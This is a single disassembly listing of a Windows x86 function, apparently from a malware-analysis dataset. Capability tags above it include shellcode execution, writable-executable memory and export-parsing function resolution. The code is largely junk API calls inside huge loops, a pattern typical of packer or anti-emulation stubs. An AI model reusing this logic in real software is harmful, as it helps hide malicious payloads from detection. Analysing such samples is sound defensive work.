Function at 0x44a3e0
Capabilities:
Allocate or change rwx memory
Delete file
Enumerate files on windows
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get hostname
Get memory capacity
Manipulate console buffer
Move file
Print debug messages
Read .ini file
Resolve function by parsing pe exports
Set console window title
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x4178
call fcn.0043ddd0
cmp dword [0x3228e74], 0x177
push ebx
push ebp
push esi
push edi
jne 0x44a435
push 0x3228e78
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x204
jne 0x44a435
cmp dword [0x3228e74], 0xf76
jne 0x44a435
push 0
push 0
push 0
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
mov esi, dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
mov ecx, dword [0x3228e74]
xor eax, eax
mov dword [esp + 0x18], eax
lea esp, [esp]
cmp ecx, 0x123f
jne 0x44a613
lea ecx, [esp + 0x20]
push ecx
push 0
call esi
push 0
call ebx
push 0
push 0
call ebp
lea edx, [esp + 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
lea eax, [esp + 0x98c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
push 0
lea ecx, [esp + 0x18c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [esp + 0x60]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
xor eax, eax
lea edx, [esp + 0x34]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
push 0
push 0
lea ecx, [esp + 0x1190]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
push 0
push 0
call edi
lea edx, [esp + 0xa0]
push edx
lea eax, [esp + 0xac]
push eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x64]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_AllocateUserPhysicalPages]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
lea edx, [esp + 0x1c]
push edx
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov eax, dword [esp + 0x18]
cmp eax, 0x634
je 0x44abb0
mov ecx, dword [0x3228e74]
cmp ecx, 0xf
je 0x44abbf
inc eax
mov dword [esp + 0x18], eax
cmp eax, 0x1138855
jl 0x44a460
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapSize]
xor esi, esi
xor edi, edi
lea ecx, [ecx]
cmp edi, 0x5e3
jge 0x44a66f
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuItemID]
call dword [sym.imp.USER32.dll_GetMessageTime]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBitmapBits]
cmp dword [0x3228e74], 0x6b
jne 0x44a69e
push 0x30
lea edx, [esp + 0x74]
push esi
push edx
mov dword [esp + 0x78], esi
call fcn.0043a1c0
add esp, 0xc
lea eax, [esp + 0x6c]
push eax
push esi
push 0x432d08
call ebx
push esi
push esi
push esi
call ebp
mov dword [0x3225e8c], esi
cmp edi, 0x22144
jle 0x44a6e9
mov eax, 0x342502a
cmp dword [esp + 0x1c], eax
je 0x44a6e9
cmp dword [esp + 0x78], eax
je 0x44a6e9
cmp dword [0x3228e74], 0xfc5
jne 0x44a6e9
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x98c]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x432d18
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
inc edi
cmp edi, 0x5f54b605
jl 0x44a650
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
xor eax, eax
mov dword [esp + 0x14], eax
cmp eax, 0x3fa
jne 0x44a720
call fcn.004499a0
cmp dword [0x3228e74], 0x65
jne 0x44a91e
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push 0x432d30
call esi
push 0x432d38
push 0x432d78
push 0x432c64
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
push 0
push 0
push 0
push 0
push 0
call edi
push 0x432de0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
call dword [sym.imp.KERNEL32.dll__lclose]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0x30
lea ecx, [esp + 0xec]
push 0
push ecx
mov dword [esp + 0xf0], 0
call fcn.0043a1c0
add esp, 0xc
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0xe8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push 0
lea edx, [esp + 0x18c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x3c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x198c]
push ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SearchPathA]
xor edx, edx
mov ecx, edx
push ecx
push edx
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
lea edx, [esp + 0x34]
push edx
push 0
lea eax, [esp + 0x990]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
lea ecx, [esp + 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
lea edx, [esp + 0x64]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push 0x432e08
lea eax, [esp + 0x58c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileValidData]
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x485ceb
jl 0x44a714
call fcn.004498d0
mov eax, dword [0x3228e74]
mov esi, 0x199615
lea ecx, [ecx]
cmp eax, 0x105
jne 0x44a957
push 0x432e38
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x3228e74]
dec esi
jne 0x44a940
mov esi, dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
xor ebp, ebp
cmp eax, 0x9e2
jne 0x44a993
push 0
call esi
push 0
push 0x432e40
call edi
lea ecx, [esp + 0x188]
push ecx
push 0
call ebx
mov eax, dword [0x3228e74]
cmp ebp, 0x3b22
jne 0x44a9a7
mov edx, dword [0x452dc0]
mov dword [0x322987c], edx
cmp eax, 0xdb5
je 0x44abdb
inc ebp
cmp ebp, 0xe6793
jl 0x44a96e
xor esi, esi
test eax, eax
je 0x44a9e5
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
call fcn.004499c0
cmp dword [0x3228e74], 0x22
jne 0x44a9dc
lea ecx, [esp + 0x1c]
push ecx
call edi
inc esi
cmp esi, dword [0x3228e74]
jb 0x44a9c7
call fcn.004498f0
call fcn.0044a090
cmp dword [0x3228e74], 0x1d
jne 0x44aba4
xor esi, esi
push esi
lea edx, [esp + 0x20]
push edx
push esi
lea eax, [esp + 0x994]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0x432e80
push 0x432eb8
push 0x432ed8
push 0x432f20
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0x432f48
push esi
push 0x432f84
push 0x432fa8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea ecx, [esp + 0x3c]
push ecx
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
lea edx, [esp + 0x1188]
push edx
lea eax, [esp + 0x2c]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
lea ecx, [esp + 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetMailslotInfo]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
push esi
lea edx, [esp + 0x1d8c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProfileStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0x30
lea ecx, [esp + 0xb8]
push esi
push ecx
mov dword [esp + 0xbc], esi
call fcn.0043a1c0
add esp, 0xc
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0xb4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
lea ecx, [esp + 0x588]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0x44]
push edx
push esi
push esi
xor eax, eax
push esi
push esi
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
call dword [sym.imp.KERNEL32.dll_ReadFileScatter]
lea eax, [esp + 0x188]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0x432fc8
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
lea ecx, [esp + 0x14]
push ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [0x452dcc]
mov dword [0x3228e74], eax
jmp 0x44a63d
push 0
lea ecx, [esp + 0x98c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 0
push 0
push 0
call esi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push edi
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
push edi
push edi
lea ecx, [esp + 0x2190]
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
push edi
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
xor eax, eax
lea edx, [esp + 0x44]
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
push edx
lea eax, [esp + 0x2c]
push eax
push edi
mov dword [esp + 0x50], edi
call dword [sym.imp.KERNEL32.dll_WaitCommEvent]
push edi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push edi
lea ecx, [esp + 0x58c]
push ecx
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
xor edx, edx
lea eax, [esp + 0x58]
push eax
xor ecx, ecx
push ecx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], ecx
push edx
lea eax, [esp + 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
lea ecx, [esp + 0x38]
push ecx
push edi
lea edx, [esp + 0x120]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
lea eax, [esp + 0x6c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea ecx, [esp + 0x30]
push ecx
push edi
lea edx, [esp + 0x3190]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [esp + 0x188]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea ecx, [esp + 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea edx, [esp + 0x148]
push edx
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
push 0x30
lea eax, [esp + 0xb8]
push edi
push eax
mov dword [esp + 0xbc], edi
call fcn.0043a1c0
add esp, 0xc
push edi
lea ecx, [esp + 0xb4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov edx, dword [esp + 0x1c]
push edi
push edi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
lea eax, [esp + 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
push edi
lea ecx, [esp + 0x298c]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
lea edx, [esp + 0x1988]
push edx
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push edi
push edi
lea eax, [esp + 0x1d90]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
push edi
lea ecx, [esp + 0xe8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
push edi
push edi
lea edx, [esp + 0x1190]
push edx
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x398c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push edi
push edi
lea edx, [esp + 0x990]
push edx
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push edi
push edi
push edi
lea eax, [esp + 0x2c]
push eax
push edi
push edi
push edi
mov dword [esp + 0x3c], edi
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]